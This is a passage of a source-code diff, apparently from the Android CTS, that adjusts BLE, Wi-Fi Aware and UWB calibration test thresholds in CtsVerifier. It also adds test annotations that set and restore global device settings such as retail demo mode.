+++ b/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleRxTxCalibrationActivity.java
@@ -42,7 +42,7 @@ public class BleRxTxCalibrationActivity extends PassFailButtons.Activity {
     private static final String KEY_REFERENCE_DEVICE = "reference_device";
 
     // Thresholds
-    private static final int MIN_RSSI_RANGE = 6;
+    private static final int MAX_RSSI_RANGE = 6;
 
     private EditText reportChannelsRssiRangeEditText;
     private EditText reportCoresRssiRangeEditText;
@@ -90,7 +90,7 @@ public class BleRxTxCalibrationActivity extends PassFailButtons.Activity {
         if (!channelsRssiRangeInput.isEmpty()) {
             int channelsRssiRange = Integer.parseInt(channelsRssiRangeInput);
             // RSSI range must be inputted and within acceptable range before test can be passed
-            return channelsRssiRange <= MIN_RSSI_RANGE;
+            return channelsRssiRange <= MAX_RSSI_RANGE;
         }
         return false;
     }
@@ -100,7 +100,7 @@ public class BleRxTxCalibrationActivity extends PassFailButtons.Activity {
         if (!coresRssiRangeInput.isEmpty()) {
             int coresRssiRange = Integer.parseInt(coresRssiRangeInput);
             // RSSI range must be inputted and within acceptable range before test can be passed
-            return coresRssiRange <= MIN_RSSI_RANGE;
+            return coresRssiRange <= MAX_RSSI_RANGE;
         }
         // This field is optional, so return true even if the user has not inputted anything
         return true;
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleTxOffsetActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleTxOffsetActivity.java
deleted file mode 100644
index 228eb1f6483..00000000000
--- a/apps/CtsVerifier/src/com/android/cts/verifier/presence/BleTxOffsetActivity.java
+++ /dev/null
@@ -1,119 +0,0 @@
-/*
- * Copyright (C) 2011 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.cts.verifier.presence;
-
-import android.app.AlertDialog;
-import android.bluetooth.BluetoothAdapter;
-import android.content.pm.PackageManager;
-import android.os.Bundle;
-import android.text.Editable;
-import android.util.Log;
-import android.widget.EditText;
-
-import com.android.compatibility.common.util.ResultType;
-import com.android.compatibility.common.util.ResultUnit;
-import com.android.cts.verifier.PassFailButtons;
-import com.android.cts.verifier.R;
-
-/** Tests that the devices' Rx offset results in a median RSSI within a specified range */
-public class BleTxOffsetActivity extends PassFailButtons.Activity {
-    private static final String TAG = BleTxOffsetActivity.class.getName();
-
-    // Report log schema
-    private static final String KEY_MEDIAN_RSSI = "rssi_range";
-    private static final String KEY_REFERENCE_DEVICE = "reference_device";
-
-    // Thresholds
-    private static final int MEDIAN_RSSI_UPPER_BOUND = -57;
-    private static final int MEDIAN_RSSI_LOWER_BOUND = -63;
-
-    private EditText reportMedianRssiEditText;
-    private EditText reportReferenceDeviceEditText;
-
-    @Override
-    protected void onCreate(Bundle savedInstanceState) {
-        super.onCreate(savedInstanceState);
-        setContentView(R.layout.ble_tx_offset);
-        setPassFailButtonClickListeners();
-        getPassButton().setEnabled(false);
-
-        reportMedianRssiEditText = findViewById(R.id.report_ble_rssi_median);
-        reportReferenceDeviceEditText = findViewById(R.id.report_reference_device);
-
-        DeviceFeatureChecker.checkFeatureSupported(this, getPassButton(),
-                PackageManager.FEATURE_BLUETOOTH_LE);
-
-        BluetoothAdapter adapter = BluetoothAdapter.getDefaultAdapter();
-
-        if (!adapter.isEnabled()) {
-            new AlertDialog.Builder(this)
-                    .setTitle(R.string.ble_bluetooth_disable_title)
-                    .setMessage(R.string.ble_bluetooth_disable_message)
-                    .setOnCancelListener(dialog -> finish())
-                    .create().show();
-        }
-
-        reportMedianRssiEditText.addTextChangedListener(
-                InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
-        reportReferenceDeviceEditText.addTextChangedListener(
-                InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
-    }
-
-    private void checkTestInputs() {
-        getPassButton().setEnabled(checkMedianRssiInput() && checkReferenceDeviceInput());
-    }
-
-    private boolean checkMedianRssiInput() {
-        String medianRssiInput = reportMedianRssiEditText.getText().toString();
-
-        if (!medianRssiInput.isEmpty()) {
-            int rssiRange;
-            try {
-                rssiRange = Integer.parseInt(medianRssiInput);
-            } catch (NumberFormatException e) {
-                return false;
-            }
-            // Median RSSI must be inputted and within acceptable range before test can be passed
-            return rssiRange <= MEDIAN_RSSI_UPPER_BOUND && rssiRange >= MEDIAN_RSSI_LOWER_BOUND;
-        }
-        return false;
-    }
-
-    private boolean checkReferenceDeviceInput() {
-        // Reference device must be inputted before test can be passed
-        return !reportReferenceDeviceEditText.getText().toString().isEmpty();
-    }
-
-    @Override
-    public void recordTestResults() {
-        String medianRssi = reportMedianRssiEditText.getText().toString();
-        String referenceDevice = reportReferenceDeviceEditText.getText().toString();
-
-        if (!medianRssi.isEmpty()) {
-            Log.i(TAG, "BLE Median RSSI (dBm): " + medianRssi);
-            getReportLog().addValue(KEY_MEDIAN_RSSI, Integer.parseInt(medianRssi),
-                    ResultType.NEUTRAL, ResultUnit.NONE);
-        }
-
-        if (!referenceDevice.isEmpty()) {
-            Log.i(TAG, "BLE Reference Device: " + referenceDevice);
-            getReportLog().addValue(KEY_REFERENCE_DEVICE, referenceDevice,
-                    ResultType.NEUTRAL, ResultUnit.NONE);
-        }
-        getReportLog().submit();
-    }
-}
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/presence/NanPrecisionTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/presence/NanPrecisionTestActivity.java
index 0256431199e..458d1920eca 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/presence/NanPrecisionTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/presence/NanPrecisionTestActivity.java
@@ -51,10 +51,10 @@ public class NanPrecisionTestActivity extends PassFailButtons.Activity {
     private static final String KEY_REFERENCE_DEVICE = "reference_device";
 
     // Thresholds
-    private static final int MAX_DISTANCE_RANGE_METERS_160MHZ = 1;
-    private static final int MAX_DISTANCE_RANGE_METERS_80MHZ = 2;
-    private static final int MAX_DISTANCE_RANGE_METERS_40MHZ = 4;
-    private static final int MAX_DISTANCE_RANGE_METERS_20MHZ = 8;
+    private static final int MAX_DISTANCE_RANGE_METERS_160MHZ = 2;
+    private static final int MAX_DISTANCE_RANGE_METERS_80MHZ = 4;
+    private static final int MAX_DISTANCE_RANGE_METERS_40MHZ = 8;
+    private static final int MAX_DISTANCE_RANGE_METERS_20MHZ = 16;
 
     // Maps NAN bandwidths to acceptable range thresholds
     private static final ImmutableMap<Integer, Integer> BANDWIDTH_TO_THRESHOLD_MAP =
@@ -94,6 +94,8 @@ public class NanPrecisionTestActivity extends PassFailButtons.Activity {
         DeviceFeatureChecker.checkFeatureSupported(this, getPassButton(),
                 PackageManager.FEATURE_WIFI_AWARE);
 
+        mBandwidthMhz.addTextChangedListener(
+                InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
         mMeasurementRange10cmGt68p.addTextChangedListener(
                 InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
         mMeasurementRange1mGt68p.addTextChangedListener(
@@ -129,7 +131,7 @@ public class NanPrecisionTestActivity extends PassFailButtons.Activity {
         String measurementRangeInput10cmGt90p = mMeasurementRange10cmGt90p.getText().toString();
         String measurementRangeInput1mGt90p = mMeasurementRange1mGt90p.getText().toString();
         String measurementRangeInput3mGt90p = mMeasurementRange3mGt90p.getText().toString();
-        String measurementRangeInput5mGt90p = mMeasurementRange1mGt90p.getText().toString();
+        String measurementRangeInput5mGt90p = mMeasurementRange5mGt90p.getText().toString();
         List<String> optionalMeasurementRangeList = Arrays.asList(measurementRangeInput10cmGt90p,
                 measurementRangeInput1mGt90p,
                 measurementRangeInput3mGt90p, measurementRangeInput5mGt90p);
@@ -168,10 +170,9 @@ public class NanPrecisionTestActivity extends PassFailButtons.Activity {
                 // bandwidth must be one of the expected thresholds
                 return false;
             }
-            int distanceRange = Integer.parseInt(input);
+            double distanceRange = Double.parseDouble(input);
             int bandwidth = Integer.parseInt(bandwidthInputMhz);
-            if (distanceRange < -BANDWIDTH_TO_THRESHOLD_MAP.get(bandwidth)
-                    || distanceRange > BANDWIDTH_TO_THRESHOLD_MAP.get(bandwidth)) {
+            if (distanceRange > BANDWIDTH_TO_THRESHOLD_MAP.get(bandwidth)) {
                 // All inputs must be in acceptable range so fail early otherwise
                 return false;
             }
@@ -207,56 +208,56 @@ public class NanPrecisionTestActivity extends PassFailButtons.Activity {
         if (!measurementRange10cmGt68p.isEmpty()) {
             Log.i(TAG, "NAN Measurement Range at 10cm: " + measurementRange10cmGt68p);
             getReportLog().addValue(KEY_MEASUREMENT_RANGE_10CM_AT_68P,
-                    Integer.parseInt(measurementRange10cmGt68p),
+                    Double.parseDouble(measurementRange10cmGt68p),
                     ResultType.NEUTRAL, ResultUnit.NONE);
         }
 
         if (!measurementRange1mGt68p.isEmpty()) {
             Log.i(TAG, "NAN Measurement Range at 1m: " + measurementRange1mGt68p);
             getReportLog().addValue(KEY_MEASUREMENT_RANGE_1M_AT_68P,
-                    Integer.parseInt(measurementRange1mGt68p),
+                    Double.parseDouble(measurementRange1mGt68p),
                     ResultType.NEUTRAL, ResultUnit.NONE);
         }
 
         if (!measurementRange3mGt68p.isEmpty()) {
             Log.i(TAG, "NAN Measurement Range at 3m: " + measurementRange3mGt68p);
             getReportLog().addValue(KEY_MEASUREMENT_RANGE_3M_AT_68p,
-                    Integer.parseInt(measurementRange3mGt68p),
+                    Double.parseDouble(measurementRange3mGt68p),
                     ResultType.NEUTRAL, ResultUnit.NONE);
         }
 
         if (!measurementRange5mGt68p.isEmpty()) {
             Log.i(TAG, "NAN Measurement Range at 5m: " + measurementRange5mGt68p);
             getReportLog().addValue(KEY_MEASUREMENT_RANGE_5M_AT_68p,
-                    Integer.parseInt(measurementRange5mGt68p),
+                    Double.parseDouble(measurementRange5mGt68p),
                     ResultType.NEUTRAL, ResultUnit.NONE);
         }
 
         if (!measurementRange10cmGt90p.isEmpty()) {
             Log.i(TAG, "NAN Measurement Range at 10cm: " + measurementRange10cmGt68p);
             getReportLog().addValue(KEY_MEASUREMENT_RANGE_10CM_AT_90P,
-                    Integer.parseInt(measurementRange10cmGt90p),
+                    Double.parseDouble(measurementRange10cmGt90p),
                     ResultType.NEUTRAL, ResultUnit.NONE);
         }
 
         if (!measurementRange1mGt90p.isEmpty()) {
             Log.i(TAG, "NAN Measurement Range at 1m: " + measurementRange1mGt90p);
             getReportLog().addValue(KEY_MEASUREMENT_RANGE_1M_AT_90P,
-                    Integer.parseInt(measurementRange1mGt90p),
+                    Double.parseDouble(measurementRange1mGt90p),
                     ResultType.NEUTRAL, ResultUnit.NONE);
         }
 
         if (!measurementRange3mGt90p.isEmpty()) {
             Log.i(TAG, "NAN Measurement Range at 3m: " + measurementRange3mGt90p);
             getReportLog().addValue(KEY_MEASUREMENT_RANGE_3M_AT_90p,
-                    Integer.parseInt(measurementRange3mGt90p),
+                    Double.parseDouble(measurementRange3mGt90p),
                     ResultType.NEUTRAL, ResultUnit.NONE);
         }
 
         if (!measurementRange5mGt90p.isEmpty()) {
             Log.i(TAG, "NAN Measurement Range at 5m: " + measurementRange5mGt90p);
             getReportLog().addValue(KEY_MEASUREMENT_RANGE_5M_AT_90p,
-                    Integer.parseInt(measurementRange5mGt90p),
+                    Double.parseDouble(measurementRange5mGt90p),
                     ResultType.NEUTRAL, ResultUnit.NONE);
         }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/presence/UwbPrecisionActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/presence/UwbPrecisionActivity.java
index 82f4c8df03b..5d1ff8628dd 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/presence/UwbPrecisionActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/presence/UwbPrecisionActivity.java
@@ -34,14 +34,11 @@ public class UwbPrecisionActivity extends PassFailButtons.Activity {
     private static final String TAG = UwbPrecisionActivity.class.getName();
     // Report log schema
     private static final String KEY_DISTANCE_RANGE_CM = "distance_range_cm";
-    private static final String KEY_AOA_RANGE_DEGREES = "aoa_range_degrees";
     private static final String KEY_REFERENCE_DEVICE = "reference_device";
     // Thresholds
-    private static final int MAX_DISTANCE_RANGE_CM = 10;
-    private static final int MAX_ANGLE_OF_ARRIVAL_RANGE_DEGREES = 5;
+    private static final int MAX_DISTANCE_RANGE_CM = 30;
 
     private EditText mDistanceRangeInput;
-    private EditText mAoaRangeInput;
     private EditText mReferenceDeviceInput;
 
     @Override
@@ -52,7 +49,6 @@ public class UwbPrecisionActivity extends PassFailButtons.Activity {
         getPassButton().setEnabled(false);
 
         mDistanceRangeInput = (EditText) findViewById(R.id.distance_range_cm);
-        mAoaRangeInput = (EditText) findViewById(R.id.aoa_range_degrees);
         mReferenceDeviceInput = (EditText) findViewById(R.id.reference_device);
 
         DeviceFeatureChecker.checkFeatureSupported(this, getPassButton(),
@@ -60,21 +56,19 @@ public class UwbPrecisionActivity extends PassFailButtons.Activity {
 
         mDistanceRangeInput.addTextChangedListener(
                 InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
-        mAoaRangeInput.addTextChangedListener(
-                InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
         mReferenceDeviceInput.addTextChangedListener(
                 InputTextHandler.getOnTextChangedHandler((Editable s) -> checkTestInputs()));
     }
 
     private void checkTestInputs() {
         getPassButton().setEnabled(
-                checkDistanceRangeInput() && checkAoaRangeInput() && checkReferenceDeviceInput());
+                checkDistanceRangeInput() && checkReferenceDeviceInput());
     }
 
     private boolean checkDistanceRangeInput() {
         String distanceRangeInput = mDistanceRangeInput.getText().toString();
         if (!distanceRangeInput.isEmpty()) {
-            int distanceRange = Integer.parseInt(distanceRangeInput);
+            double distanceRange = Double.parseDouble(distanceRangeInput);
             // Distance range must be inputted and within acceptable range before test can be
             // passed.
             return distanceRange <= MAX_DISTANCE_RANGE_CM;
@@ -82,16 +76,6 @@ public class UwbPrecisionActivity extends PassFailButtons.Activity {
         return false;
     }
 
-    private boolean checkAoaRangeInput() {
-        String aoaRangeInput = mAoaRangeInput.getText().toString();
-        if (!aoaRangeInput.isEmpty()) {
-            int aoaRange = Integer.parseInt(aoaRangeInput);
-            // Aoa range must be within acceptable range before test can be passed.
-            return aoaRange <= MAX_ANGLE_OF_ARRIVAL_RANGE_DEGREES;
-        }
-        return true;
-    }
-
     private boolean checkReferenceDeviceInput() {
         // Reference device must be inputted before test can be passed.
         return !mReferenceDeviceInput.getText().toString().isEmpty();
@@ -100,16 +84,10 @@ public class UwbPrecisionActivity extends PassFailButtons.Activity {
     @Override
     public void recordTestResults() {
         String distanceRange = mDistanceRangeInput.getText().toString();
-        String aoaRange = mAoaRangeInput.getText().toString();
         String referenceDevice = mReferenceDeviceInput.getText().toString();
         if (!distanceRange.isEmpty()) {
             Log.i(TAG, "UWB Distance Range: " + distanceRange);
-            getReportLog().addValue(KEY_DISTANCE_RANGE_CM, Integer.parseInt(distanceRange),
-                    ResultType.NEUTRAL, ResultUnit.NONE);
-        }
-        if (!aoaRange.isEmpty()) {
-            Log.i(TAG, "UWB Angle of Arrival Range: " + aoaRange);
-            getReportLog().addValue(KEY_AOA_RANGE_DEGREES, Integer.parseInt(aoaRange),
+            getReportLog().addValue(KEY_DISTANCE_RANGE_CM, Double.parseDouble(distanceRange),
                     ResultType.NEUTRAL, ResultUnit.NONE);
         }
         if (!referenceDevice.isEmpty()) {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/presence/UwbShortRangeActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/presence/UwbShortRangeActivity.java
index 39c29f30402..7f14800b68c 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/presence/UwbShortRangeActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/presence/UwbShortRangeActivity.java
@@ -35,8 +35,8 @@ public class UwbShortRangeActivity extends PassFailButtons.Activity {
     private static final String KEY_DISTANCE_MEDIAN_CM = "distance_median_cm";
     private static final String KEY_REFERENCE_DEVICE = "reference_device";
     // Median Thresholds
-    private static final int MIN_MEDIAN = 8;
-    private static final int MAX_MEDIAN = 12;
+    private static final double MIN_MEDIAN = 0.75;
+    private static final double MAX_MEDIAN = 1.25;
     private EditText mMedianInput;
     private EditText mReferenceDeviceInput;
 
@@ -47,7 +47,7 @@ public class UwbShortRangeActivity extends PassFailButtons.Activity {
         setPassFailButtonClickListeners();
         getPassButton().setEnabled(false);
 
-        mMedianInput = (EditText) findViewById(R.id.distance_median_cm);
+        mMedianInput = (EditText) findViewById(R.id.distance_median_meters);
         mReferenceDeviceInput = (EditText) findViewById(R.id.reference_device);
 
         DeviceFeatureChecker.checkFeatureSupported(this, getPassButton(),
@@ -66,7 +66,7 @@ public class UwbShortRangeActivity extends PassFailButtons.Activity {
     private boolean checkMedianInput() {
         String medianInput = mMedianInput.getText().toString();
         if (!medianInput.isEmpty()) {
-            int median = Integer.parseInt(medianInput);
+            double median = Double.parseDouble(medianInput);
             return median >= MIN_MEDIAN && median <= MAX_MEDIAN;
         }
         return false;
@@ -82,7 +82,7 @@ public class UwbShortRangeActivity extends PassFailButtons.Activity {
         String referenceDeviceInput = mReferenceDeviceInput.getText().toString();
         if (!medianInput.isEmpty()) {
             Log.i(TAG, "UWB Distance Median: " + medianInput);
-            getReportLog().addValue(KEY_DISTANCE_MEDIAN_CM, Integer.parseInt(medianInput),
+            getReportLog().addValue(KEY_DISTANCE_MEDIAN_CM, Double.parseDouble(medianInput),
                     ResultType.NEUTRAL, ResultUnit.NONE);
         }
         if (!referenceDeviceInput.isEmpty()) {
diff --git a/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/annotations/EnsureDemoMode.java b/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/annotations/EnsureDemoMode.java
new file mode 100644
index 00000000000..22928dc4d60
--- /dev/null
+++ b/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/annotations/EnsureDemoMode.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations;
+
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.MIDDLE;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+
+/**
+ * Ensure that the device is in retail demo mode before running the test.
+ */
+@Target({ElementType.METHOD, ElementType.ANNOTATION_TYPE, ElementType.TYPE})
+@Retention(RetentionPolicy.RUNTIME)
+@EnsureGlobalSettingSet(key = "device_demo_mode", value = "1")
+public @interface EnsureDemoMode {
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default MIDDLE;
+}
diff --git a/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/annotations/EnsureGlobalSettingSet.java b/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/annotations/EnsureGlobalSettingSet.java
new file mode 100644
index 00000000000..6bed7c43a02
--- /dev/null
+++ b/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/annotations/EnsureGlobalSettingSet.java
@@ -0,0 +1,46 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations;
+
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.MIDDLE;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Repeatable;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+@Target({ElementType.METHOD, ElementType.ANNOTATION_TYPE, ElementType.TYPE})
+@Retention(RetentionPolicy.RUNTIME)
+@Repeatable(EnsureGlobalSettingSetGroup.class)
+public @interface EnsureGlobalSettingSet {
+    String key();
+
+    String value();
+
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default MIDDLE;
+}
diff --git a/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/annotations/EnsureGlobalSettingSetGroup.java b/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/annotations/EnsureGlobalSettingSetGroup.java
new file mode 100644
index 00000000000..08f90e9bd7f
--- /dev/null
+++ b/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/annotations/EnsureGlobalSettingSetGroup.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2021 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations;
+
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.MIDDLE;
+
+import com.android.bedstead.harrier.annotations.meta.RepeatingAnnotation;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+@Target({ElementType.METHOD, ElementType.ANNOTATION_TYPE, ElementType.TYPE})
+@Retention(RetentionPolicy.RUNTIME)
+@RepeatingAnnotation
+public @interface EnsureGlobalSettingSetGroup {
+    EnsureGlobalSettingSet[] value();
+
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default MIDDLE;
+}
diff --git a/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/annotations/EnsureNotDemoMode.java b/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/annotations/EnsureNotDemoMode.java
new file mode 100644
index 00000000000..5010873e903
--- /dev/null
+++ b/common/device-side/bedstead/harrier/common/src/main/java/com/android/bedstead/harrier/annotations/EnsureNotDemoMode.java
@@ -0,0 +1,45 @@
+/*
+ * Copyright (C) 2022 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package com.android.bedstead.harrier.annotations;
+
+import static com.android.bedstead.harrier.annotations.AnnotationRunPrecedence.MIDDLE;
+
+import java.lang.annotation.ElementType;
+import java.lang.annotation.Retention;
+import java.lang.annotation.RetentionPolicy;
+import java.lang.annotation.Target;
+
+
+/**
+ * Ensure that the device is not in retail demo mode before running the test.
+ */
+@Target({ElementType.METHOD, ElementType.ANNOTATION_TYPE, ElementType.TYPE})
+@Retention(RetentionPolicy.RUNTIME)
+@EnsureGlobalSettingSet(key = "device_demo_mode", value = "0")
+public @interface EnsureNotDemoMode {
+    /**
+     * Weight sets the order that annotations will be resolved.
+     *
+     * <p>Annotations with a lower weight will be resolved before annotations with a higher weight.
+     *
+     * <p>If there is an order requirement between annotations, ensure that the weight of the
+     * annotation which must be resolved first is lower than the one which must be resolved later.
+     *
+     * <p>Weight can be set to a {@link AnnotationRunPrecedence} constant, or to any {@link int}.
+     */
+    int weight() default MIDDLE;
+}
diff --git a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
index bf67e587bce..b28b815a9de 100644
--- a/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
+++ b/common/device-side/bedstead/harrier/src/main/java/com/android/bedstead/harrier/DeviceState.java
@@ -50,6 +50,7 @@ import com.android.bedstead.harrier.annotations.EnsureBluetoothEnabled;
 import com.android.bedstead.harrier.annotations.EnsureCanGetPermission;
 import com.android.bedstead.harrier.annotations.EnsureDoesNotHaveAppOp;
 import com.android.bedstead.harrier.annotations.EnsureDoesNotHavePermission;
+import com.android.bedstead.harrier.annotations.EnsureGlobalSettingSet;
 import com.android.bedstead.harrier.annotations.EnsureHasAppOp;
 import com.android.bedstead.harrier.annotations.EnsureHasPermission;
 import com.android.bedstead.harrier.annotations.EnsurePackageNotInstalled;
@@ -778,6 +779,14 @@ public final class DeviceState extends HarrierRule {
                 ensureBluetoothDisabled();
                 continue;
             }
+
+            if (annotation instanceof EnsureGlobalSettingSet) {
+                EnsureGlobalSettingSet ensureGlobalSettingSetAnnotation =
+                        (EnsureGlobalSettingSet) annotation;
+                ensureGlobalSettingSet(
+                        ensureGlobalSettingSetAnnotation.key(),
+                        ensureGlobalSettingSetAnnotation.value());
+            }
         }
 
         requireSdkVersion(/* min= */ mMinSdkVersionCurrentTest,
@@ -1152,7 +1161,7 @@ public final class DeviceState extends HarrierRule {
     private Boolean mOriginalBluetoothEnabled;
     private TestAppProvider mTestAppProvider = new TestAppProvider();
     private Map<String, TestAppInstance> mTestApps = new HashMap<>();
-
+    private final Map<String, String> mOriginalGlobalSettings = new HashMap<>();
 
     private static final class RemovedUser {
         // Store the user builder so we can recreate the user later
@@ -1759,6 +1768,11 @@ public final class DeviceState extends HarrierRule {
             TestApis.bluetooth().setEnabled(mOriginalBluetoothEnabled);
             mOriginalBluetoothEnabled = null;
         }
+
+        for (Map.Entry<String, String> s : mOriginalGlobalSettings.entrySet()) {
+            TestApis.settings().global().putString(s.getKey(), s.getValue());
+        }
+        mOriginalGlobalSettings.clear();
     }
 
     private UserReference createProfile(
@@ -2507,4 +2521,11 @@ public final class DeviceState extends HarrierRule {
             mPermissionContext = mPermissionContext.withoutPermission(permission);
         }
     }
+
+    private void ensureGlobalSettingSet(String key, String value) {
+        if (!mOriginalGlobalSettings.containsKey(key)) {
+            mOriginalGlobalSettings.put(key, TestApis.settings().global().getString(value));
+        }
+        TestApis.settings().global().putString(key, value);
+    }
 }
diff --git a/common/device-side/bedstead/harrier/src/test/java/com/android/bedstead/harrier/DeviceStateTest.java b/common/device-side/bedstead/harrier/src/test/java/com/android/bedstead/harrier/DeviceStateTest.java
index a5ec1092c81..8234786e09c 100644
--- a/common/device-side/bedstead/harrier/src/test/java/com/android/bedstead/harrier/DeviceStateTest.java
+++ b/common/device-side/bedstead/harrier/src/test/java/com/android/bedstead/harrier/DeviceStateTest.java
@@ -53,8 +53,10 @@ import android.platform.test.annotations.AppModeFull;
 
 import com.android.bedstead.harrier.annotations.EnsureBluetoothDisabled;
 import com.android.bedstead.harrier.annotations.EnsureBluetoothEnabled;
+import com.android.bedstead.harrier.annotations.EnsureDemoMode;
 import com.android.bedstead.harrier.annotations.EnsureDoesNotHaveAppOp;
 import com.android.bedstead.harrier.annotations.EnsureDoesNotHavePermission;
+import com.android.bedstead.harrier.annotations.EnsureGlobalSettingSet;
 import com.android.bedstead.harrier.annotations.EnsureHasAppOp;
 import com.android.bedstead.harrier.annotations.EnsureHasNoSecondaryUser;
 import com.android.bedstead.harrier.annotations.EnsureHasNoTvProfile;
@@ -63,6 +65,7 @@ import com.android.bedstead.harrier.annotations.EnsureHasPermission;
 import com.android.bedstead.harrier.annotations.EnsureHasSecondaryUser;
 import com.android.bedstead.harrier.annotations.EnsureHasTvProfile;
 import com.android.bedstead.harrier.annotations.EnsureHasWorkProfile;
+import com.android.bedstead.harrier.annotations.EnsureNotDemoMode;
 import com.android.bedstead.harrier.annotations.EnsurePackageNotInstalled;
